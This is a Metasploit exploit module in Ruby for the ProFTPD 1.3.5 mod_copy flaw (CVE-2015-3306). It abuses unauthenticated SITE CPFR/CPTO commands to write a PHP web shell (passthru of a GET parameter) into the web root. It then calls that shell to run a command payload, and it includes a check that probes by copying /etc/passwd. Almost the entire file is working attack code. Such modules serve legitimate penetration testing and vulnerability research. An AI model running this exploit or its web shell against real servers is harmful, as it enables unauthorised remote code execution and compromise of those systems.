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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
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        'Description' => %q{
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          This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.
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          Any unauthenticated client can leverage these commands to copy files from any
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          part of the filesystem to a chosen destination. The copy commands are executed with
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          the rights of the ProFTPD service, which by default runs under the privileges of the
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          'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
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          directory, PHP remote code execution is made possible.
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        },
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        'Author' => [
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          'Vadim Melihow', # Original discovery, Proof of Concept
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          'xistence <xistence[at]0x90.nl>' # Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2015-3306' ],
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          [ 'EDB', '36742' ],
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          [ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=4169' ]
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        ],
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        'Privileged' => false,
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        'Platform' => [ 'unix' ],
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        'Arch' => ARCH_CMD,
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        'Payload' => {
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          'BadChars' => '',
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          'Compat' => {
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            'PayloadType' => 'cmd',
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            'RequiredCmd' => 'generic gawk python perl netcat'
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          }
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        },
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        'Targets' => [
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          [ 'ProFTPD 1.3.5', {} ]
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        ],
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        'DisclosureDate' => '2015-04-22',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      OptPort.new('RPORT', [true, 'HTTP port', 80]),
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      OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
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      OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
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      OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
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      OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
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    ])
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  end
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  def ftp_port
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    datastore['RPORT_FTP']
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  end
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  def check
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    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
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    if sock.nil?
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      return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
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    end
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    vprint_status("#{rhost}:#{ftp_port} - Connected to FTP server")
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    # Set 30 second timeout to allow remote server time to perform reverse DNS lookup
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    res = sock.get_once(-1, 30)
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    unless res && res.include?('220')
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      return CheckCode::Safe("#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
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    end
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    sock.puts("SITE CPFR /etc/passwd\r\n")
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    res = sock.get_once(-1, 10)
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    if res.nil?
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      return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
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    end
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    if res.include?("500 'SITE CPFR' not understood")
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      return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command not supported")
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    end
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    if res.include?('530')
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      return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command requires authentication.")
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    end
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    if res.include?('350')
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      return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was successful")
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    end
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    CheckCode::Safe
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  ensure
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    sock.close unless sock.nil?
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  end
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  def exploit
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    get_arg = rand_text_alphanumeric(5..7)
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    payload_name = rand_text_alphanumeric(5..7) + '.php'
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    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
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    if sock.nil?
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      fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
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    end
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    print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
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    # Set 30 second timeout to allow remote server time to perform reverse DNS lookup
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    res = sock.get_once(-1, 30)
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    unless res && res.include?('220')
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      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
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    end
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    print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")
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    sock.puts("SITE CPFR /proc/self/cmdline\r\n")
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    res = sock.get_once(-1, 10)
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    unless res && res.include?('350')
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      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
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    end
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    sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
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    res = sock.get_once(-1, 10)
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    unless res && res.include?('250')
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      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
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    end
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    sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
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    res = sock.get_once(-1, 10)
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    unless res && res.include?('350')
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      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
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    end
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    sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
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    res = sock.get_once(-1, 10)
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    unless res && res.include?('250')
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      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
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    end
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    sock.close
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    register_file_for_cleanup("#{datastore['SITEPATH']}/#{payload_name}")
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    uri = normalize_uri(target_uri.path, payload_name)
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    print_status("Executing PHP payload #{uri}")
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    res = send_request_cgi!(
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      'uri' => uri,
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      'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
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    )
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    unless res && res.code == 200
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      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
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    end
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  end
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end
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